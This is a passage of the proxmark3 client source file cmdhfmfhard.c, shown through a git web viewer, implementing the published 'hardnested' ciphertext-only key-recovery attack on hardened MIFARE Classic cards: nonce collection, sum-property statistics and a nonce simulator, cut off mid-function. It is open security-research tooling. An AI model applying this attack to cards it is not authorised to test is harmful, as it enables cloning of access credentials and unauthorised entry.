]> git.zerfleddert.de Git - proxmark3-svn/blob - client/cmdhfmfhard.c
projects / proxmark3-svn / blob
? search:
summary | shortlog | log | commit | commitdiff | tree
blame | history | raw | HEAD
CHG: this fixes an annoying fault of not running CONNECT in raw command...
[proxmark3-svn] / client / cmdhfmfhard.c
1 //-----------------------------------------------------------------------------
2 // Copyright (C) 2015 piwi
3 // fiddled with 2016 Azcid (hardnested bitsliced Bruteforce imp)
4 // This code is licensed to you under the terms of the GNU GPL, version 2 or,
5 // at your option, any later version. See the LICENSE.txt file for the text of
6 // the license.
7 //-----------------------------------------------------------------------------
8 // Implements a card only attack based on crypto text (encrypted nonces
9 // received during a nested authentication) only. Unlike other card only
10 // attacks this doesn't rely on implementation errors but only on the
11 // inherent weaknesses of the crypto1 cypher. Described in
12 // Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
13 // Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
14 // Computer and Communications Security, 2015
15 //-----------------------------------------------------------------------------
16
17 #include <stdlib.h>
18 #include <stdio.h>
19 #include <string.h>
20 #include <pthread.h>
21 #include <locale.h>
22 #include <math.h>
23 #include "proxmark3.h"
24 #include "cmdmain.h"
25 #include "ui.h"
26 #include "util.h"
27 #include "nonce2key/crapto1.h"
28 #include "nonce2key/crypto1_bs.h"
29 #include "parity.h"
30 #ifdef __WIN32
31 #include <windows.h>
32 #endif
33 #include <malloc.h>
34 #include <assert.h>
35
36 #define CONFIDENCE_THRESHOLD 0.95 // Collect nonces until we are certain enough that the following brute force is successfull
37 #define GOOD_BYTES_REQUIRED 28
38
39 static const float p_K[257] = { // the probability that a random nonce has a Sum Property == K
40 0.0290, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
41 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
42 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
43 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
44 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
45 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
46 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
47 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
48 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
49 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
50 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
51 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
52 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
53 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
54 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
55 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
56 0.4180, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
57 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
58 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
59 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
60 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
61 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
62 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
63 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
64 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
65 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
66 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
67 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
68 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
69 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
70 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
71 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
72 0.0290 };
73
74 typedef struct noncelistentry {
75 uint32_t nonce_enc;
76 uint8_t par_enc;
77 void *next;
78 } noncelistentry_t;
79
80 typedef struct noncelist {
81 uint16_t num;
82 uint16_t Sum;
83 uint16_t Sum8_guess;
84 uint8_t BitFlip[2];
85 float Sum8_prob;
86 bool updated;
87 noncelistentry_t *first;
88 float score1, score2;
89 } noncelist_t;
90
91 static size_t nonces_to_bruteforce = 0;
92 static noncelistentry_t *brute_force_nonces[256];
93 static uint32_t cuid = 0;
94 static noncelist_t nonces[256];
95 static uint8_t best_first_bytes[256];
96 static uint16_t first_byte_Sum = 0;
97 static uint16_t first_byte_num = 0;
98 static uint16_t num_good_first_bytes = 0;
99 static uint64_t maximum_states = 0;
100 static uint64_t known_target_key;
101 static bool write_stats = false;
102 static FILE *fstats = NULL;
103
104
105 typedef enum {
106 EVEN_STATE = 0,
107 ODD_STATE = 1
108 } odd_even_t;
109
110 #define STATELIST_INDEX_WIDTH 16
111 #define STATELIST_INDEX_SIZE (1<<STATELIST_INDEX_WIDTH)
112
113 typedef struct {
114 uint32_t *states[2];
115 uint32_t len[2];
116 uint32_t *index[2][STATELIST_INDEX_SIZE];
117 } partial_indexed_statelist_t;
118
119 typedef struct {
120 uint32_t *states[2];
121 uint32_t len[2];
122 void* next;
123 } statelist_t;
124
125
126 static partial_indexed_statelist_t partial_statelist[17];
127 static partial_indexed_statelist_t statelist_bitflip;
128 static statelist_t *candidates = NULL;
129
130 static int add_nonce(uint32_t nonce_enc, uint8_t par_enc)
131 {
132 uint8_t first_byte = nonce_enc >> 24;
133 noncelistentry_t *p1 = nonces[first_byte].first;
134 noncelistentry_t *p2 = NULL;
135
136 if (p1 == NULL) { // first nonce with this 1st byte
137 first_byte_num++;
138 first_byte_Sum += evenparity32((nonce_enc & 0xff000000) | (par_enc & 0x08));
139 // printf("Adding nonce 0x%08x, par_enc 0x%02x, parity(0x%08x) = %d\n",
140 // nonce_enc,
141 // par_enc,
142 // (nonce_enc & 0xff000000) | (par_enc & 0x08) |0x01,
143 // parity((nonce_enc & 0xff000000) | (par_enc & 0x08));
144 }
145
146 while (p1 != NULL && (p1->nonce_enc & 0x00ff0000) < (nonce_enc & 0x00ff0000)) {
147 p2 = p1;
148 p1 = p1->next;
149 }
150
151 if (p1 == NULL) { // need to add at the end of the list
152 if (p2 == NULL) { // list is empty yet. Add first entry.
153 p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t));
154 } else { // add new entry at end of existing list.
155 p2 = p2->next = malloc(sizeof(noncelistentry_t));
156 }
157 } else if ((p1->nonce_enc & 0x00ff0000) != (nonce_enc & 0x00ff0000)) { // found distinct 2nd byte. Need to insert.
158 if (p2 == NULL) { // need to insert at start of list
159 p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t));
160 } else {
161 p2 = p2->next = malloc(sizeof(noncelistentry_t));
162 }
163 } else { // we have seen this 2nd byte before. Nothing to add or insert.
164 return (0);
165 }
166
167 // add or insert new data
168 p2->next = p1;
169 p2->nonce_enc = nonce_enc;
170 p2->par_enc = par_enc;
171
172 if(nonces_to_bruteforce < 256){
173 brute_force_nonces[nonces_to_bruteforce] = p2;
174 nonces_to_bruteforce++;
175 }
176
177 nonces[first_byte].num++;
178 nonces[first_byte].Sum += evenparity32((nonce_enc & 0x00ff0000) | (par_enc & 0x04));
179 nonces[first_byte].updated = true; // indicates that we need to recalculate the Sum(a8) probability for this first byte
180
181 return (1); // new nonce added
182 }
183
184 static void init_nonce_memory(void)
185 {
186 for (uint16_t i = 0; i < 256; i++) {
187 nonces[i].num = 0;
188 nonces[i].Sum = 0;
189 nonces[i].Sum8_guess = 0;
190 nonces[i].Sum8_prob = 0.0;
191 nonces[i].updated = true;
192 nonces[i].first = NULL;
193 }
194 first_byte_num = 0;
195 first_byte_Sum = 0;
196 num_good_first_bytes = 0;
197 }
198
199
200 static void free_nonce_list(noncelistentry_t *p)
201 {
202 if (p == NULL) {
203 return;
204 } else {
205 free_nonce_list(p->next);
206 free(p);
207 }
208 }
209
210 static void free_nonces_memory(void)
211 {
212 for (uint16_t i = 0; i < 256; i++) {
213 free_nonce_list(nonces[i].first);
214 }
215 }
216
217 static uint16_t PartialSumProperty(uint32_t state, odd_even_t odd_even)
218 {
219 uint16_t sum = 0;
220 for (uint16_t j = 0; j < 16; j++) {
221 uint32_t st = state;
222 uint16_t part_sum = 0;
223 if (odd_even == ODD_STATE) {
224 for (uint16_t i = 0; i < 5; i++) {
225 part_sum ^= filter(st);
226 st = (st << 1) | ((j >> (3-i)) & 0x01) ;
227 }
228 part_sum ^= 1; // XOR 1 cancelled out for the other 8 bits
229 } else {
230 for (uint16_t i = 0; i < 4; i++) {
231 st = (st << 1) | ((j >> (3-i)) & 0x01) ;
232 part_sum ^= filter(st);
233 }
234 }
235 sum += part_sum;
236 }
237 return sum;
238 }
239
240 // static uint16_t SumProperty(struct Crypto1State *s)
241 // {
242 // uint16_t sum_odd = PartialSumProperty(s->odd, ODD_STATE);
243 // uint16_t sum_even = PartialSumProperty(s->even, EVEN_STATE);
244 // return (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even);
245 // }
246
247 static double p_hypergeometric(uint16_t N, uint16_t K, uint16_t n, uint16_t k)
248 {
249 // for efficient computation we are using the recursive definition
250 // (K-k+1) * (n-k+1)
251 // P(X=k) = P(X=k-1) * --------------------
252 // k * (N-K-n+k)
253 // and
254 // (N-K)*(N-K-1)*...*(N-K-n+1)
255 // P(X=0) = -----------------------------
256 // N*(N-1)*...*(N-n+1)
257
258 if (n-k > N-K || k > K) return 0.0; // avoids log(x<=0) in calculation below
259 if (k == 0) {
260 // use logarithms to avoid overflow with huge factorials (double type can only hold 170!)
261 double log_result = 0.0;
262 for (int16_t i = N-K; i >= N-K-n+1; i--) {
263 log_result += log(i);
264 }
265 for (int16_t i = N; i >= N-n+1; i--) {
266 log_result -= log(i);
267 }
268 return exp(log_result);
269 } else {
270 if (n-k == N-K) { // special case. The published recursion below would fail with a divide by zero exception
271 double log_result = 0.0;
272 for (int16_t i = k+1; i <= n; i++) {
273 log_result += log(i);
274 }
275 for (int16_t i = K+1; i <= N; i++) {
276 log_result -= log(i);
277 }
278 return exp(log_result);
279 } else { // recursion
280 return (p_hypergeometric(N, K, n, k-1) * (K-k+1) * (n-k+1) / (k * (N-K-n+k)));
281 }
282 }
283 }
284
285 static float sum_probability(uint16_t K, uint16_t n, uint16_t k)
286 {
287 const uint16_t N = 256;
288
289 if (k > K || p_K[K] == 0.0) return 0.0;
290
291 double p_T_is_k_when_S_is_K = p_hypergeometric(N, K, n, k);
292 double p_S_is_K = p_K[K];
293 double p_T_is_k = 0;
294 for (uint16_t i = 0; i <= 256; i++) {
295 if (p_K[i] != 0.0) {
296 p_T_is_k += p_K[i] * p_hypergeometric(N, i, n, k);
297 }
298 }
299 return(p_T_is_k_when_S_is_K * p_S_is_K / p_T_is_k);
300 }
301
302
303 static inline uint_fast8_t common_bits(uint_fast8_t bytes_diff)
304 {
305 static const uint_fast8_t common_bits_LUT[256] = {
306 8, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
307 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
308 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
309 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
310 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
311 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
312 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
313 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
314 7, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
315 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
316 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
317 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
318 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
319 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
320 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
321 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0
322 };
323
324 return common_bits_LUT[bytes_diff];
325 }
326
327 static void Tests()
328 {
329 // printf("Tests: Partial Statelist sizes\n");
330 // for (uint16_t i = 0; i <= 16; i+=2) {
331 // printf("Partial State List Odd [%2d] has %8d entries\n", i, partial_statelist[i].len[ODD_STATE]);
332 // }
333 // for (uint16_t i = 0; i <= 16; i+=2) {
334 // printf("Partial State List Even [%2d] has %8d entries\n", i, partial_statelist[i].len[EVEN_STATE]);
335 // }
336
337 // #define NUM_STATISTICS 100000
338 // uint32_t statistics_odd[17];
339 // uint64_t statistics[257];
340 // uint32_t statistics_even[17];
341 // struct Crypto1State cs;
342 // time_t time1 = clock();
343
344 // for (uint16_t i = 0; i < 257; i++) {
345 // statistics[i] = 0;
346 // }
347 // for (uint16_t i = 0; i < 17; i++) {
348 // statistics_odd[i] = 0;
349 // statistics_even[i] = 0;
350 // }
351
352 // for (uint64_t i = 0; i < NUM_STATISTICS; i++) {
353 // cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff);
354 // cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff);
355 // uint16_t sum_property = SumProperty(&cs);
356 // statistics[sum_property] += 1;
357 // sum_property = PartialSumProperty(cs.even, EVEN_STATE);
358 // statistics_even[sum_property]++;
359 // sum_property = PartialSumProperty(cs.odd, ODD_STATE);
360 // statistics_odd[sum_property]++;
361 // if (i%(NUM_STATISTICS/100) == 0) printf(".");
362 // }
363
364 // printf("\nTests: Calculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)clock() - time1)/CLOCKS_PER_SEC, NUM_STATISTICS/((float)clock() - time1)*CLOCKS_PER_SEC);
365 // for (uint16_t i = 0; i < 257; i++) {
366 // if (statistics[i] != 0) {
367 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/NUM_STATISTICS);
368 // }
369 // }
370 // for (uint16_t i = 0; i <= 16; i++) {
371 // if (statistics_odd[i] != 0) {
372 // printf("probability odd [%2d] = %0.5f\n", i, (float)statistics_odd[i]/NUM_STATISTICS);
373 // }
374 // }
375 // for (uint16_t i = 0; i <= 16; i++) {
376 // if (statistics_odd[i] != 0) {
377 // printf("probability even [%2d] = %0.5f\n", i, (float)statistics_even[i]/NUM_STATISTICS);
378 // }
379 // }
380
381 // printf("Tests: Sum Probabilities based on Partial Sums\n");
382 // for (uint16_t i = 0; i < 257; i++) {
383 // statistics[i] = 0;
384 // }
385 // uint64_t num_states = 0;
386 // for (uint16_t oddsum = 0; oddsum <= 16; oddsum += 2) {
387 // for (uint16_t evensum = 0; evensum <= 16; evensum += 2) {
388 // uint16_t sum = oddsum*(16-evensum) + (16-oddsum)*evensum;
389 // statistics[sum] += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
390 // num_states += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
391 // }
392 // }
393 // printf("num_states = %lld, expected %lld\n", num_states, (1LL<<48));
394 // for (uint16_t i = 0; i < 257; i++) {
395 // if (statistics[i] != 0) {
396 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/num_states);
397 // }
398 // }
399
400 // printf("\nTests: Hypergeometric Probability for selected parameters\n");
401 // printf("p_hypergeometric(256, 206, 255, 206) = %0.8f\n", p_hypergeometric(256, 206, 255, 206));
402 // printf("p_hypergeometric(256, 206, 255, 205) = %0.8f\n", p_hypergeometric(256, 206, 255, 205));
403 // printf("p_hypergeometric(256, 156, 1, 1) = %0.8f\n", p_hypergeometric(256, 156, 1, 1));
404 // printf("p_hypergeometric(256, 156, 1, 0) = %0.8f\n", p_hypergeometric(256, 156, 1, 0));
405 // printf("p_hypergeometric(256, 1, 1, 1) = %0.8f\n", p_hypergeometric(256, 1, 1, 1));
406 // printf("p_hypergeometric(256, 1, 1, 0) = %0.8f\n", p_hypergeometric(256, 1, 1, 0));
407
408 // struct Crypto1State *pcs;
409 // pcs = crypto1_create(0xffffffffffff);
410 // printf("\nTests: for key = 0xffffffffffff:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
411 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
412 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
413 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
414 // best_first_bytes[0],
415 // SumProperty(pcs),
416 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
417 // //test_state_odd = pcs->odd & 0x00ffffff;
418 // //test_state_even = pcs->even & 0x00ffffff;
419 // crypto1_destroy(pcs);
420 // pcs = crypto1_create(0xa0a1a2a3a4a5);
421 // printf("Tests: for key = 0xa0a1a2a3a4a5:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
422 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
423 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
424 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
425 // best_first_bytes[0],
426 // SumProperty(pcs),
427 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
428 // //test_state_odd = pcs->odd & 0x00ffffff;
429 // //test_state_even = pcs->even & 0x00ffffff;
430 // crypto1_destroy(pcs);
431 // pcs = crypto1_create(0xa6b9aa97b955);
432 // printf("Tests: for key = 0xa6b9aa97b955:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
433 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
434 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
435 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
436 // best_first_bytes[0],
437 // SumProperty(pcs),
438 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
439 //test_state_odd = pcs->odd & 0x00ffffff;
440 //test_state_even = pcs->even & 0x00ffffff;
441 // crypto1_destroy(pcs);
442
443
444 // printf("\nTests: number of states with BitFlipProperty: %d, (= %1.3f%% of total states)\n", statelist_bitflip.len[0], 100.0 * statelist_bitflip.len[0] / (1<<20));
445
446 // printf("\nTests: Actual BitFlipProperties odd/even:\n");
447 // for (uint16_t i = 0; i < 256; i++) {
448 // printf("[%02x]:%c ", i, nonces[i].BitFlip[ODD_STATE]?'o':nonces[i].BitFlip[EVEN_STATE]?'e':' ');
449 // if (i % 8 == 7) {
450 // printf("\n");
451 // }
452 // }
453
454 // printf("\nTests: Sorted First Bytes:\n");
455 // for (uint16_t i = 0; i < 256; i++) {
456 // uint8_t best_byte = best_first_bytes[i];
457 // printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c\n",
458 // //printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c, score1: %1.5f, score2: %1.0f\n",
459 // i, best_byte,
460 // nonces[best_byte].num,
461 // nonces[best_byte].Sum,
462 // nonces[best_byte].Sum8_guess,
463 // nonces[best_byte].Sum8_prob * 100,
464 // nonces[best_byte].BitFlip[ODD_STATE]?'o':nonces[best_byte].BitFlip[EVEN_STATE]?'e':' '
465 // //nonces[best_byte].score1,
466 // //nonces[best_byte].score2
467 // );
468 // }
469
470 // printf("\nTests: parity performance\n");
471 // time_t time1p = clock();
472 // uint32_t par_sum = 0;
473 // for (uint32_t i = 0; i < 100000000; i++) {
474 // par_sum += parity(i);
475 // }
476 // printf("parsum oldparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);
477
478 // time1p = clock();
479 // par_sum = 0;
480 // for (uint32_t i = 0; i < 100000000; i++) {
481 // par_sum += evenparity32(i);
482 // }
483 // printf("parsum newparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);
484
485
486 }
487
488 static void sort_best_first_bytes(void)
489 {
490 // sort based on probability for correct guess
491 for (uint16_t i = 0; i < 256; i++ ) {
492 uint16_t j = 0;
493 float prob1 = nonces[i].Sum8_prob;
494 float prob2 = nonces[best_first_bytes[0]].Sum8_prob;
495 while (prob1 < prob2 && j < i) {
496 prob2 = nonces[best_first_bytes[++j]].Sum8_prob;
497 }
498 if (j < i) {
499 for (uint16_t k = i; k > j; k--) {
500 best_first_bytes[k] = best_first_bytes[k-1];
501 }
502 }
503 best_first_bytes[j] = i;
504 }
505
506 // determine how many are above the CONFIDENCE_THRESHOLD
507 uint16_t num_good_nonces = 0;
508 for (uint16_t i = 0; i < 256; i++) {
509 if (nonces[best_first_bytes[i]].Sum8_prob >= CONFIDENCE_THRESHOLD) {
510 ++num_good_nonces;
511 }
512 }
513
514 uint16_t best_first_byte = 0;
515
516 // select the best possible first byte based on number of common bits with all {b'}
517 // uint16_t max_common_bits = 0;
518 // for (uint16_t i = 0; i < num_good_nonces; i++) {
519 // uint16_t sum_common_bits = 0;
520 // for (uint16_t j = 0; j < num_good_nonces; j++) {
521 // if (i != j) {
522 // sum_common_bits += common_bits(best_first_bytes[i],best_first_bytes[j]);
523 // }
524 // }
525 // if (sum_common_bits > max_common_bits) {
526 // max_common_bits = sum_common_bits;
527 // best_first_byte = i;
528 // }
529 // }
530
531 // select best possible first byte {b} based on least likely sum/bitflip property
532 float min_p_K = 1.0;
533 for (uint16_t i = 0; i < num_good_nonces; i++ ) {
534 uint16_t sum8 = nonces[best_first_bytes[i]].Sum8_guess;
535 float bitflip_prob = 1.0;
536 if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE]) {
537 bitflip_prob = 0.09375;
538 }
539 nonces[best_first_bytes[i]].score1 = p_K[sum8] * bitflip_prob;
540 if (p_K[sum8] * bitflip_prob <= min_p_K) {
541 min_p_K = p_K[sum8] * bitflip_prob;
542 }
543 }
544
545
546 // use number of commmon bits as a tie breaker
547 uint16_t max_common_bits = 0;
548 for (uint16_t i = 0; i < num_good_nonces; i++) {
549 float bitflip_prob = 1.0;
550 if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE]) {
551 bitflip_prob = 0.09375;
552 }
553 if (p_K[nonces[best_first_bytes[i]].Sum8_guess] * bitflip_prob == min_p_K) {
554 uint16_t sum_common_bits = 0;
555 for (uint16_t j = 0; j < num_good_nonces; j++) {
556 sum_common_bits += common_bits(best_first_bytes[i] ^ best_first_bytes[j]);
557 }
558 nonces[best_first_bytes[i]].score2 = sum_common_bits;
559 if (sum_common_bits > max_common_bits) {
560 max_common_bits = sum_common_bits;
561 best_first_byte = i;
562 }
563 }
564 }
565
566 // swap best possible first byte to the pole position
567 uint16_t temp = best_first_bytes[0];
568 best_first_bytes[0] = best_first_bytes[best_first_byte];
569 best_first_bytes[best_first_byte] = temp;
570
571 }
572
573 static uint16_t estimate_second_byte_sum(void)
574 {
575
576 for (uint16_t first_byte = 0; first_byte < 256; first_byte++) {
577 float Sum8_prob = 0.0;
578 uint16_t Sum8 = 0;
579 if (nonces[first_byte].updated) {
580 for (uint16_t sum = 0; sum <= 256; sum++) {
581 float prob = sum_probability(sum, nonces[first_byte].num, nonces[first_byte].Sum);
582 if (prob > Sum8_prob) {
583 Sum8_prob = prob;
584 Sum8 = sum;
585 }
586 }
587 nonces[first_byte].Sum8_guess = Sum8;
588 nonces[first_byte].Sum8_prob = Sum8_prob;
589 nonces[first_byte].updated = false;
590 }
591 }
592
593 sort_best_first_bytes();
594
595 uint16_t num_good_nonces = 0;
596 for (uint16_t i = 0; i < 256; i++) {
597 if (nonces[best_first_bytes[i]].Sum8_prob >= CONFIDENCE_THRESHOLD) {
598 ++num_good_nonces;
599 }
600 }
601
602 return num_good_nonces;
603 }
604
605 static int read_nonce_file(void)
606 {
607 FILE *fnonces = NULL;
608 uint8_t trgBlockNo;
609 uint8_t trgKeyType;
610 uint8_t read_buf[9];
611 uint32_t nt_enc1, nt_enc2;
612 uint8_t par_enc;
613 int total_num_nonces = 0;
614
615 if ((fnonces = fopen("nonces.bin","rb")) == NULL) {
616 PrintAndLog("Could not open file nonces.bin");
617 return 1;
618 }
619
620 PrintAndLog("Reading nonces from file nonces.bin...");
621 size_t bytes_read = fread(read_buf, 1, 6, fnonces);
622 if ( bytes_read == 0) {
623 PrintAndLog("File reading error.");
624 fclose(fnonces);
625 return 1;
626 }
627 cuid = bytes_to_num(read_buf, 4);
628 trgBlockNo = bytes_to_num(read_buf+4, 1);
629 trgKeyType = bytes_to_num(read_buf+5, 1);
630
631 while (fread(read_buf, 1, 9, fnonces) == 9) {
632 nt_enc1 = bytes_to_num(read_buf, 4);
633 nt_enc2 = bytes_to_num(read_buf+4, 4);
634 par_enc = bytes_to_num(read_buf+8, 1);
635 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
636 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
637 add_nonce(nt_enc1, par_enc >> 4);
638 add_nonce(nt_enc2, par_enc & 0x0f);
639 total_num_nonces += 2;
640 }
641 fclose(fnonces);
642 PrintAndLog("Read %d nonces from file. cuid=%08x, Block=%d, Keytype=%c", total_num_nonces, cuid, trgBlockNo, trgKeyType==0?'A':'B');
643
644 return 0;
645 }
646
647 static void Check_for_FilterFlipProperties(void)
648 {
649 printf("Checking for Filter Flip Properties...\n");
650
651 uint16_t num_bitflips = 0;
652
653 for (uint16_t i = 0; i < 256; i++) {
654 nonces[i].BitFlip[ODD_STATE] = false;
655 nonces[i].BitFlip[EVEN_STATE] = false;
656 }
657
658 for (uint16_t i = 0; i < 256; i++) {
659 uint8_t parity1 = (nonces[i].first->par_enc) >> 3; // parity of first byte
660 uint8_t parity2_odd = (nonces[i^0x80].first->par_enc) >> 3; // XOR 0x80 = last bit flipped
661 uint8_t parity2_even = (nonces[i^0x40].first->par_enc) >> 3; // XOR 0x40 = second last bit flipped
662
663 if (parity1 == parity2_odd) { // has Bit Flip Property for odd bits
664 nonces[i].BitFlip[ODD_STATE] = true;
665 num_bitflips++;
666 } else if (parity1 == parity2_even) { // has Bit Flip Property for even bits
667 nonces[i].BitFlip[EVEN_STATE] = true;
668 num_bitflips++;
669 }
670 }
671
672 if (write_stats) {
673 fprintf(fstats, "%d;", num_bitflips);
674 }
675 }
676
677 static void simulate_MFplus_RNG(uint32_t test_cuid, uint64_t test_key, uint32_t *nt_enc, uint8_t *par_enc)
678 {
679 struct Crypto1State sim_cs = {0, 0};
680 // init cryptostate with key:
681 for(int8_t i = 47; i > 0; i -= 2) {
682 sim_cs.odd = sim_cs.odd << 1 | BIT(test_key, (i - 1) ^ 7);
683 sim_cs.even = sim_cs.even << 1 | BIT(test_key, i ^ 7);
684 }
685
686 *par_enc = 0;
687 uint32_t nt = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
688 for (int8_t byte_pos = 3; byte_pos >= 0; byte_pos--) {
689 uint8_t nt_byte_dec = (nt >> (8*byte_pos)) & 0xff;
690 uint8_t nt_byte_enc = crypto1_byte(&sim_cs, nt_byte_dec ^ (test_cuid >> (8*byte_pos)), false) ^ nt_byte_dec; // encode the nonce byte
691 *nt_enc = (*nt_enc << 8) | nt_byte_enc;
692 uint8_t ks_par = filter(sim_cs.odd); // the keystream bit to encode/decode the parity bit
693 uint8_t nt_byte_par_enc = ks_par ^ oddparity8(nt_byte_dec); // determine the nt byte's parity and encode it
694 *par_enc = (*par_enc << 1) | nt_byte_par_enc;
695 }
696
697 }
698
699 static void simulate_acquire_nonces()
700 {
701 clock_t time1 = clock();
702 bool filter_flip_checked = false;
703 uint32_t total_num_nonces = 0;
704 uint32_t next_fivehundred = 500;
705 uint32_t total_added_nonces = 0;
706
